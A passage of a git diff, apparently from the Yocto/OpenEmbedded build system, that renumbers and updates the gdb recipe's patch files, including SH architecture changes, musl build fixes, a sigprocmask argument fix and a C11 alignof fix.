-- if (TYPE_CODE (TYPE_FIELD_TYPE (type, 0)) == TYPE_CODE_FLT)
-+ if (TYPE_CODE (check_typedef (TYPE_FIELD_TYPE (type, 0))) == TYPE_CODE_FLT)
- return 1;
- /* Otherwise it's not treated as float. */
- return 0;
-@@ -1100,7 +1086,7 @@ sh_push_dummy_call_fpu (struct gdbarch *gdbarch,
- in four registers available. Loop thru args from first to last. */
- for (argnum = 0; argnum < nargs; argnum++)
- {
-- type = value_type (args[argnum]);
-+ type = check_typedef (value_type (args[argnum]));
- len = TYPE_LENGTH (type);
- val = sh_justify_value_in_reg (gdbarch, args[argnum], len);
-
-@@ -1835,7 +1821,7 @@ sh_dwarf2_frame_init_reg (struct gdbarch *gdbarch, int regnum,
- reg->how = DWARF2_FRAME_REG_UNDEFINED;
- }
-
--static struct sh_frame_cache *
-+struct sh_frame_cache *
- sh_alloc_frame_cache (void)
- {
- struct sh_frame_cache *cache;
-@@ -1862,7 +1848,7 @@ sh_alloc_frame_cache (void)
- return cache;
- }
-
--static struct sh_frame_cache *
-+struct sh_frame_cache *
- sh_frame_cache (struct frame_info *this_frame, void **this_cache)
- {
- struct gdbarch *gdbarch = get_frame_arch (this_frame);
-@@ -1929,9 +1915,9 @@ sh_frame_cache (struct frame_info *this_frame, void **this_cache)
- return cache;
- }
-
--static struct value *
--sh_frame_prev_register (struct frame_info *this_frame,
-- void **this_cache, int regnum)
-+struct value *
-+sh_frame_prev_register (struct frame_info *this_frame, void **this_cache,
-+ int regnum)
- {
- struct gdbarch *gdbarch = get_frame_arch (this_frame);
- struct sh_frame_cache *cache = sh_frame_cache (this_frame, this_cache);
-@@ -1945,7 +1931,7 @@ sh_frame_prev_register (struct frame_info *this_frame,
- the current frame. Frob regnum so that we pull the value from
- the correct place. */
- if (regnum == gdbarch_pc_regnum (gdbarch))
-- regnum = PR_REGNUM;
-+ regnum = PR_REGNUM; /* XXX: really? */
-
- if (regnum < SH_NUM_REGS && cache->saved_regs[regnum] != -1)
- return frame_unwind_got_memory (this_frame, regnum,
-@@ -2234,8 +2220,8 @@ sh_return_in_first_hidden_param_p (struct gdbarch *gdbarch,
- static struct gdbarch *
- sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- {
-- struct gdbarch *gdbarch;
- struct gdbarch_tdep *tdep;
-+ struct gdbarch *gdbarch;
-
- /* If there is already a candidate, use it. */
- arches = gdbarch_list_lookup_by_info (arches, &info);
-@@ -2247,6 +2233,18 @@ sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- tdep = XCNEW (struct gdbarch_tdep);
- gdbarch = gdbarch_alloc (&info, tdep);
-
-+ /* General-purpose registers. */
-+ tdep->gregset = NULL;
-+ tdep->gregset_reg_offset = NULL;
-+ tdep->gregset_num_regs = 23;
-+ tdep->sizeof_gregset = 0;
-+
-+ /* Floating-point registers. */
-+ tdep->fpregset = NULL;
-+ tdep->sizeof_fpregset = 34*4;
-+
-+ tdep->jb_pc_offset = -1;
-+
- set_gdbarch_short_bit (gdbarch, 2 * TARGET_CHAR_BIT);
- set_gdbarch_int_bit (gdbarch, 4 * TARGET_CHAR_BIT);
- set_gdbarch_long_bit (gdbarch, 4 * TARGET_CHAR_BIT);
-@@ -2398,10 +2396,11 @@ sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- break;
- }
-
-+ dwarf2_append_unwinders (gdbarch);
-+
- /* Hook in ABI-specific overrides, if they have been registered. */
- gdbarch_init_osabi (info, gdbarch);
-
-- dwarf2_append_unwinders (gdbarch);
- frame_unwind_append_unwinder (gdbarch, &sh_stub_unwind);
- frame_unwind_append_unwinder (gdbarch, &sh_frame_unwind);
-
-diff --git a/gdb/sh-tdep.h b/gdb/sh-tdep.h
-index 76e2e76e39..2710f63010 100644
---- a/gdb/sh-tdep.h
-+++ b/gdb/sh-tdep.h
-@@ -21,6 +21,12 @@
-
- /* Contributed by Steve Chamberlain sac@cygnus.com. */
-
-+struct frame_info;
-+struct gdbarch;
-+struct reggroup;
-+struct regset;
-+struct regcache;
-+
- /* Registers for all SH variants. Used also by sh3-rom.c. */
- enum
- {
-@@ -29,6 +35,7 @@ enum
- ARG0_REGNUM = 4,
- ARGLAST_REGNUM = 7,
- FP_REGNUM = 14,
-+ SP_REGNUM = 15,
- PC_REGNUM = 16,
- PR_REGNUM = 17,
- GBR_REGNUM = 18,
-@@ -81,6 +88,24 @@ enum
- FV0_REGNUM = 76,
- FV_LAST_REGNUM = 79
- };
-+#define SH_NUM_REGS 67
-+
-+struct sh_frame_cache
-+{
-+ /* Base address. */
-+ CORE_ADDR base;
-+ LONGEST sp_offset;
-+ CORE_ADDR pc;
-+
-+ /* Flag showing that a frame has been created in the prologue code. */
-+ int uses_fp;
-+
-+ /* Saved registers. */
-+ CORE_ADDR saved_regs[SH_NUM_REGS];
-+ CORE_ADDR saved_sp;
-+};
-+
-+extern struct sh_frame_cache *sh_frame_cache (struct frame_info *next_frame, void **this_cache);
-
- /* This structure describes a register in a core-file. */
- struct sh_corefile_regmap
-@@ -89,8 +114,32 @@ struct sh_corefile_regmap
- unsigned int offset;
- };
-
-+/* sh architecture specific information. */
- struct gdbarch_tdep
- {
-+ /* General-purpose registers. */
-+ struct regset *gregset;
-+ int *gregset_reg_offset;
-+ int gregset_num_regs;
-+ size_t sizeof_gregset;
-+
-+ /* Floating-point registers. */
-+ struct regset *fpregset;
-+ size_t sizeof_fpregset;
-+
-+ /* Offset of saved PC in jmp_buf. */
-+ int jb_pc_offset;
-+
-+ /* Detect sigtramp. */
-+ int (*sigtramp_p) (struct frame_info *);
-+
-+ /* Get address of sigcontext for sigtramp. */
-+ CORE_ADDR (*sigcontext_addr) (struct frame_info *);
-+
-+ /* Offset of registers in `struct sigcontext'. */
-+ int *sc_reg_offset;
-+ int sc_num_regs;
-+
- /* Non-NULL when debugging from a core file. Provides the offset
- where each general-purpose register is stored inside the associated
- core file section. */
-diff --git a/gdb/testsuite/gdb.asm/asm-source.exp b/gdb/testsuite/gdb.asm/asm-source.exp
-index 4914498f98..6e25cbed18 100644
---- a/gdb/testsuite/gdb.asm/asm-source.exp
-+++ b/gdb/testsuite/gdb.asm/asm-source.exp
-@@ -116,6 +116,11 @@ switch -glob -- [istarget] {
- append link-flags " -m elf32ppc"
- }
- }
-+ "sh*-linux*" {
-+ set asm-arch sh-linux
-+ set asm-flags "-I${srcdir}/${subdir} -I${objdir}/${subdir}"
-+ set debug-flags "-gdwarf-2"
-+ }
- "sh*-*-*" {
- set asm-arch sh
- set debug-flags "-gdwarf-2"
-diff --git a/gdb/testsuite/gdb.asm/sh.inc b/gdb/testsuite/gdb.asm/sh.inc
-index a4a5fc545e..89efed7795 100644
---- a/gdb/testsuite/gdb.asm/sh.inc
-+++ b/gdb/testsuite/gdb.asm/sh.inc
-@@ -40,9 +40,8 @@
- mov.l .Lconst\@,r1
- bra .Lafterconst\@
- nop
-- nop
--.Lconst\@:
- .align 2
-+.Lconst\@:
- .long \subr
- .align 1
- .Lafterconst\@:
-diff --git a/gdb/testsuite/gdb.base/annota1.c b/gdb/testsuite/gdb.base/annota1.c
-index 424e1b8327..0de2e7b633 100644
---- a/gdb/testsuite/gdb.base/annota1.c
-+++ b/gdb/testsuite/gdb.base/annota1.c
-@@ -1,6 +1,9 @@
- #include <stdio.h>
- #include <signal.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-
- void
- handle_USR1 (int sig)
-diff --git a/gdb/testsuite/gdb.base/annota3.c b/gdb/testsuite/gdb.base/annota3.c
-index 424e1b8327..952aaf218a 100644
---- a/gdb/testsuite/gdb.base/annota3.c
-+++ b/gdb/testsuite/gdb.base/annota3.c
-@@ -1,6 +1,10 @@
- #include <stdio.h>
- #include <signal.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-+
-
- void
- handle_USR1 (int sig)
-diff --git a/gdb/testsuite/gdb.base/sigall.c b/gdb/testsuite/gdb.base/sigall.c
-index 81f3b08d6b..1574b2d6cb 100644
---- a/gdb/testsuite/gdb.base/sigall.c
-+++ b/gdb/testsuite/gdb.base/sigall.c
-@@ -1,6 +1,9 @@
- #include <signal.h>
- #include <unistd.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-
- /* Signal handlers, we set breakpoints in them to make sure that the
- signals really get delivered. */
-diff --git a/gdb/testsuite/gdb.base/signals.c b/gdb/testsuite/gdb.base/signals.c
-index 756606880f..1205a9bc9c 100644
---- a/gdb/testsuite/gdb.base/signals.c
-+++ b/gdb/testsuite/gdb.base/signals.c
-@@ -3,6 +3,10 @@
- #include <signal.h>
- #include <unistd.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#define alarm(a) /* Ditto for alarm() */
-+#endif
-
- static int count = 0;
-
diff --git a/meta/recipes-devtools/gdb/gdb/0004-use-asm-sgidefs.h.patch b/meta/recipes-devtools/gdb/gdb/0004-use-asm-sgidefs.h.patch
new file mode 100644
index 0000000000..413610d71f
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0004-use-asm-sgidefs.h.patch
@@ -0,0 +1,33 @@
+From 04eba78ea6bd167b7eeef3af668c8f49888dc688 Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <amccurdy@gmail.com>
+Date: Sat, 30 Apr 2016 15:29:06 -0700
+Subject: [PATCH] use <asm/sgidefs.h>
+
+Build fix for MIPS with musl libc
+
+The MIPS specific header <sgidefs.h> is provided by glibc and uclibc
+but not by musl. Regardless of the libc, the kernel headers provide
+<asm/sgidefs.h> which provides the same definitions, so use that
+instead.
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdb/mips-linux-nat.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
+index bfd1c72cba6..13dc9cdb703 100644
+--- a/gdb/mips-linux-nat.c
++++ b/gdb/mips-linux-nat.c
+@@ -31,7 +31,7 @@
+ #include "gdb_proc_service.h"
+ #include "gregset.h"
+
+-#include <sgidefs.h>
++#include <asm/sgidefs.h>
+ #include "nat/gdb_ptrace.h"
+ #include <asm/ptrace.h>
+ #include "inf-ptrace.h"
diff --git a/meta/recipes-devtools/gdb/gdb/0005-Change-order-of-CFLAGS.patch b/meta/recipes-devtools/gdb/gdb/0005-Change-order-of-CFLAGS.patch
new file mode 100644
index 0000000000..7631e75048
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0005-Change-order-of-CFLAGS.patch
@@ -0,0 +1,27 @@
+From e7041e9346aa0c3aee0b76315559e3ab2ef8977e Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 15:35:39 -0700
+Subject: [PATCH] Change order of CFLAGS
+
+Lets us override Werror if need be
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbserver/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbserver/Makefile.in b/gdbserver/Makefile.in
+index b597515d428..9e615e2842d 100644
+--- a/gdbserver/Makefile.in
++++ b/gdbserver/Makefile.in
+@@ -156,7 +156,7 @@ WIN32APILIBS = @WIN32APILIBS@
+ INTERNAL_CFLAGS_BASE = ${GLOBAL_CFLAGS} \
+ ${PROFILE_CFLAGS} ${INCLUDE_CFLAGS} ${CPPFLAGS} $(PTHREAD_CFLAGS)
+ INTERNAL_WARN_CFLAGS = ${INTERNAL_CFLAGS_BASE} $(WARN_CFLAGS)
+-INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) -DGDBSERVER
++INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) ${COMPILER_CFLAGS} -DGDBSERVER
+
+ # LDFLAGS is specifically reserved for setting from the command line
+ # when running make.
diff --git a/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch b/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
deleted file mode 100644
index d0360da439..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From d132f21d89157e980574da7d0c949f6dd17df8c3 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:25:03 -0700
-Subject: [PATCH] Dont disable libreadline.a when using --disable-static
-
-If gdb is configured with --disable-static then this is dutifully passed to
-readline which then disables libreadline.a, which causes a problem when gdb
-tries to link against that.
-
-To ensure that readline always builds static libraries, pass --enable-static to
-the sub-configure.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.def | 3 ++-
- Makefile.in | 2 +-
- 2 files changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.def b/Makefile.def
-index 311feb9de3..24c0685d48 100644
---- a/Makefile.def
-+++ b/Makefile.def
-@@ -105,7 +105,8 @@ host_modules= { module= libiconv;
- missing= install-html;
- missing= install-info; };
- host_modules= { module= m4; };
--host_modules= { module= readline; };
-+host_modules= { module= readline;
-+ extra_configure_flags='--enable-static';};
- host_modules= { module= sid; };
- host_modules= { module= sim; };
- host_modules= { module= texinfo; no_install= true; };
-diff --git a/Makefile.in b/Makefile.in
-index 1aabf6ede4..d957efde81 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -25510,7 +25510,7 @@ configure-readline:
- $$s/$$module_srcdir/configure \
- --srcdir=$${topdir}/$$module_srcdir \
- $(HOST_CONFIGARGS) --build=${build_alias} --host=${host_alias} \
-- --target=${target_alias} \
-+ --target=${target_alias} --enable-static \
- || exit 1
- @endif readline
-
diff --git a/meta/recipes-devtools/gdb/gdb/0006-resolve-restrict-keyword-conflict.patch b/meta/recipes-devtools/gdb/gdb/0006-resolve-restrict-keyword-conflict.patch
new file mode 100644
index 0000000000..45388c5ac5
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0006-resolve-restrict-keyword-conflict.patch
@@ -0,0 +1,45 @@
+From 477f1b2049c7f940b8e8fda4ac396cfe322b269f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 10 May 2016 08:47:05 -0700
+Subject: [PATCH] resolve restrict keyword conflict
+
+GCC detects that we call 'restrict' as param name in function
+signatures and complains since both params are called 'restrict'
+therefore we use __restrict to denote the C99 keywork
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gnulib/import/sys_time.in.h | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/gnulib/import/sys_time.in.h b/gnulib/import/sys_time.in.h
+index 87db1a88745..e6b98c7e467 100644
+--- a/gnulib/import/sys_time.in.h
++++ b/gnulib/import/sys_time.in.h
+@@ -93,20 +93,20 @@ struct timeval
+ # define gettimeofday rpl_gettimeofday
+ # endif
+ _GL_FUNCDECL_RPL (gettimeofday, int,
+- (struct timeval *restrict, void *restrict)
++ (struct timeval *__restrict, void *__restrict)
+ _GL_ARG_NONNULL ((1)));
+ _GL_CXXALIAS_RPL (gettimeofday, int,
+- (struct timeval *restrict, void *restrict));
++ (struct timeval *__restrict, void *__restrict));
+ # else
+ # if !@HAVE_GETTIMEOFDAY@
+ _GL_FUNCDECL_SYS (gettimeofday, int,
+- (struct timeval *restrict, void *restrict)
++ (struct timeval *__restrict, void *__restrict)
+ _GL_ARG_NONNULL ((1)));
+ # endif
+ /* Need to cast, because on glibc systems, by default, the second argument is
+ struct timezone *. */
+ _GL_CXXALIAS_SYS_CAST (gettimeofday, int,
+- (struct timeval *restrict, void *restrict));
++ (struct timeval *__restrict, void *__restrict));
+ # endif
+ _GL_CXXALIASWARN (gettimeofday);
+ # if defined __cplusplus && defined GNULIB_NAMESPACE
diff --git a/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch b/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
deleted file mode 100644
index d222d01083..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 329e5bf29e934ba99622372a9660865864bb0298 Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <amccurdy@gmail.com>
-Date: Sat, 30 Apr 2016 15:29:06 -0700
-Subject: [PATCH] use <asm/sgidefs.h>
-
-Build fix for MIPS with musl libc
-
-The MIPS specific header <sgidefs.h> is provided by glibc and uclibc
-but not by musl. Regardless of the libc, the kernel headers provide
-<asm/sgidefs.h> which provides the same definitions, so use that
-instead.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/mips-linux-nat.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
-index 7f575b3363..dc93a64a93 100644
---- a/gdb/mips-linux-nat.c
-+++ b/gdb/mips-linux-nat.c
-@@ -31,7 +31,7 @@
- #include "gdb_proc_service.h"
- #include "gregset.h"
-
--#include <sgidefs.h>
-+#include <asm/sgidefs.h>
- #include "nat/gdb_ptrace.h"
- #include <asm/ptrace.h>
- #include "inf-ptrace.h"
diff --git a/meta/recipes-devtools/gdb/gdb/0007-Fix-invalid-sigprocmask-call.patch b/meta/recipes-devtools/gdb/gdb/0007-Fix-invalid-sigprocmask-call.patch
new file mode 100644
index 0000000000..26e3ad9098
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0007-Fix-invalid-sigprocmask-call.patch
@@ -0,0 +1,46 @@
+From ebeb6125acf6b4e4a8a4eaa59e2830b9ca02d683 Mon Sep 17 00:00:00 2001
+From: Yousong Zhou <yszhou4tech@gmail.com>
+Date: Fri, 24 Mar 2017 10:36:03 +0800
+Subject: [PATCH] Fix invalid sigprocmask call
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The POSIX document says
+
+ The pthread_sigmask() and sigprocmask() functions shall fail if:
+
+ [EINVAL]
+ The value of the how argument is not equal to one of the defined values.
+
+and this is how musl-libc is currently doing. Fix the call to be safe
+and correct
+
+ [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/pthread_sigmask.html
+
+gdb/ChangeLog:
+2017-03-24 Yousong Zhou <yszhou4tech@gmail.com>
+
+ * common/signals-state-save-restore.c (save_original_signals_state):
+ Fix invalid sigprocmask call.
+
+Upstream-Status: Pending [not author, cherry-picked from LEDE https://bugs.lede-project.org/index.php?do=details&task_id=637&openedfrom=-1%2Bweek]
+Signed-off-by: André Draszik <adraszik@tycoint.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbsupport/signals-state-save-restore.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbsupport/signals-state-save-restore.cc b/gdbsupport/signals-state-save-restore.cc
+index 3ec7a259c9c..0702eca7725 100644
+--- a/gdbsupport/signals-state-save-restore.cc
++++ b/gdbsupport/signals-state-save-restore.cc
+@@ -38,7 +38,7 @@ save_original_signals_state (bool quiet)
+ int i;
+ int res;
+
+- res = gdb_sigmask (0, NULL, &original_signal_mask);
++ res = gdb_sigmask (SIG_BLOCK, NULL, &original_signal_mask);
+ if (res == -1)
+ perror_with_name (("sigprocmask"));
+
diff --git a/meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch b/meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch
deleted file mode 100644
index 09896611f0..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 782bb2ab9b104dad4bbaed1d9ac769ce7e5b9f4d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:31:40 -0700
-Subject: [PATCH] Use exorted definitions of SIGRTMIN
-
-Define W_STOPCODE if not defined already
-
-__SIGRTMIN is internal to glibc and other libcs e.g. musl
-may not provide them
-
-Fixes
-https://sourceware.org/bugzilla/show_bug.cgi?id=13012
-
-Upstream-Status: Submitted
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/linux-nat.c | 4 ++--
- gdb/nat/linux-nat.h | 4 ++++
- 2 files changed, 6 insertions(+), 2 deletions(-)
-
-diff --git a/gdb/linux-nat.c b/gdb/linux-nat.c
-index 4484fa5c87..3bb0ee7a49 100644
---- a/gdb/linux-nat.c
-+++ b/gdb/linux-nat.c
-@@ -4588,6 +4588,6 @@ lin_thread_get_thread_signals (sigset_t *set)
- /* NPTL reserves the first two RT signals, but does not provide any
- way for the debugger to query the signal numbers - fortunately
- they don't change. */
-- sigaddset (set, __SIGRTMIN);
-- sigaddset (set, __SIGRTMIN + 1);
-+ sigaddset (set, SIGRTMIN);
-+ sigaddset (set, SIGRTMIN + 1);
- }
-diff --git a/gdb/nat/linux-nat.h b/gdb/nat/linux-nat.h
-index 44dcbb7758..975d7276f6 100644
---- a/gdb/nat/linux-nat.h
-+++ b/gdb/nat/linux-nat.h
-@@ -91,4 +91,8 @@ extern void linux_stop_lwp (struct lwp_info *lwp);
-
- extern int lwp_is_stepping (struct lwp_info *lwp);
-
-+#ifndef W_STOPCODE
-+#define W_STOPCODE(sig) ((sig) << 8 | 0x7f)
-+#endif
-+
- #endif /* NAT_LINUX_NAT_H */
diff --git a/meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch b/meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch
deleted file mode 100644
index 18168c6bae..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 40c9c174590ce6fdc873b453285249fe957f376d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:35:39 -0700
-Subject: [PATCH] Change order of CFLAGS
-
-Lets us override Werror if need be
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/gdbserver/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdb/gdbserver/Makefile.in b/gdb/gdbserver/Makefile.in
-index 16a9f2fd38..b9c8cd9c41 100644
---- a/gdb/gdbserver/Makefile.in
-+++ b/gdb/gdbserver/Makefile.in
-@@ -146,7 +146,7 @@ PTHREAD_LIBS = @PTHREAD_LIBS@
- INTERNAL_CFLAGS_BASE = ${CXXFLAGS} ${GLOBAL_CFLAGS} \
- ${PROFILE_CFLAGS} ${INCLUDE_CFLAGS} ${CPPFLAGS} $(PTHREAD_CFLAGS)
- INTERNAL_WARN_CFLAGS = ${INTERNAL_CFLAGS_BASE} $(WARN_CFLAGS)
--INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) -DGDBSERVER
-+INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) ${COMPILER_CFLAGS} -DGDBSERVER
-
- # LDFLAGS is specifically reserved for setting from the command line
- # when running make.
diff --git a/meta/recipes-devtools/gdb/gdb/0008-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch b/meta/recipes-devtools/gdb/gdb/0008-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch
new file mode 100644
index 0000000000..819f1c9f17
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0008-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch
@@ -0,0 +1,48 @@
+From cb7c8df338184d2d2f31ee1fd238653e3162da44 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 15 Jan 2023 00:16:25 -0800
+Subject: [PATCH] Define alignof using _Alignof when using C11 or newer
+
+WG14 N2350 made very clear that it is an UB having type definitions
+within "offsetof" [1]. This patch enhances the implementation of macro
+alignof to use builtin "_Alignof" to avoid undefined behavior on
+when using std=c11 or newer
+
+clang 16+ has started to flag this [2]
+
+Fixes build when using -std >= gnu11 and using clang16+
+
+Older compilers gcc < 4.9 or clang < 8 has buggy _Alignof even though it
+may support C11, exclude those compilers too
+
+[1] https://www.open-std.org/jtc1/sc22/wg14/www/docs/n2350.htm
+[2] https://reviews.llvm.org/D133574
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libiberty/sha1.c | 10 ++++++++++
+ 1 file changed, 10 insertions(+)
+
+diff --git a/libiberty/sha1.c b/libiberty/sha1.c
+index 6c71e3ebb41..a2caf947d31 100644
+--- a/libiberty/sha1.c
++++ b/libiberty/sha1.c
+@@ -229,7 +229,17 @@ sha1_process_bytes (const void *buffer, size_t len, struct sha1_ctx *ctx)
+ if (len >= 64)
+ {
+ #if !_STRING_ARCH_unaligned
++/* GCC releases before GCC 4.9 had a bug in _Alignof. See GCC bug 52023
++ <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=52023>.
++ clang versions < 8.0.0 have the same bug. */
++#if (!defined __STDC_VERSION__ || __STDC_VERSION__ < 201112 \
++ || (defined __GNUC__ && __GNUC__ < 4 + (__GNUC_MINOR__ < 9) \
++ && !defined __clang__) \
++ || (defined __clang__ && __clang_major__ < 8))
+ # define alignof(type) offsetof (struct { char c; type x; }, x)
++#else
++# define alignof(type) _Alignof(type)
++#endif
+ # define UNALIGNED_P(p) (((size_t) p) % alignof (sha1_uint32) != 0)
+ if (UNALIGNED_P (buffer))
+ while (len > 64)
diff --git a/meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch b/meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch
deleted file mode 100644
index 8f15c49d0e..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 5b69a98f6bb7363a1f79f29bac2b25b7df6d2fdd Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 10 May 2016 08:47:05 -0700
-Subject: [PATCH] resolve restrict keyword conflict
-
-GCC detects that we call 'restrict' as param name in function
-signatures and complains since both params are called 'restrict'
-therefore we use __restrict to denote the C99 keywork
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gnulib/import/sys_time.in.h | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/gnulib/import/sys_time.in.h b/gnulib/import/sys_time.in.h
-index d535a6a48b..7c34d5a1aa 100644
---- a/gnulib/import/sys_time.in.h
-+++ b/gnulib/import/sys_time.in.h
-@@ -93,20 +93,20 @@ struct timeval
- # define gettimeofday rpl_gettimeofday
- # endif
- _GL_FUNCDECL_RPL (gettimeofday, int,
-- (struct timeval *restrict, void *restrict)
-+ (struct timeval *__restrict, void *__restrict)
- _GL_ARG_NONNULL ((1)));
- _GL_CXXALIAS_RPL (gettimeofday, int,
-- (struct timeval *restrict, void *restrict));
-+ (struct timeval *__restrict, void *__restrict));
- # else
- # if !@HAVE_GETTIMEOFDAY@
- _GL_FUNCDECL_SYS (gettimeofday, int,
-- (struct timeval *restrict, void *restrict)
-+ (struct timeval *__restrict, void *__restrict)
- _GL_ARG_NONNULL ((1)));
- # endif
- /* Need to cast, because on glibc systems, by default, the second argument is
- struct timezone *. */
- _GL_CXXALIAS_SYS_CAST (gettimeofday, int,
-- (struct timeval *restrict, void *restrict));
-+ (struct timeval *__restrict, void *__restrict));
- # endif
- _GL_CXXALIASWARN (gettimeofday);
- # if defined __cplusplus && defined GNULIB_NAMESPACE
diff --git a/meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch b/meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch
deleted file mode 100644
index 5209c00275..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From bc1f01ff5e524f7777083024bce348a9b0017a7a Mon Sep 17 00:00:00 2001
-From: Yousong Zhou <yszhou4tech@gmail.com>
-Date: Fri, 24 Mar 2017 10:36:03 +0800
-Subject: [PATCH] Fix invalid sigprocmask call
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-The POSIX document says
-
- The pthread_sigmask() and sigprocmask() functions shall fail if:
-
- [EINVAL]
- The value of the how argument is not equal to one of the defined values.
-
-and this is how musl-libc is currently doing. Fix the call to be safe
-and correct
-
- [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/pthread_sigmask.html
-
-gdb/ChangeLog:
-2017-03-24 Yousong Zhou <yszhou4tech@gmail.com>
-
- * common/signals-state-save-restore.c (save_original_signals_state):
- Fix invalid sigprocmask call.
-
-Upstream-Status: Pending [not author, cherry-picked from LEDE https://bugs.lede-project.org/index.php?do=details&task_id=637&openedfrom=-1%2Bweek]
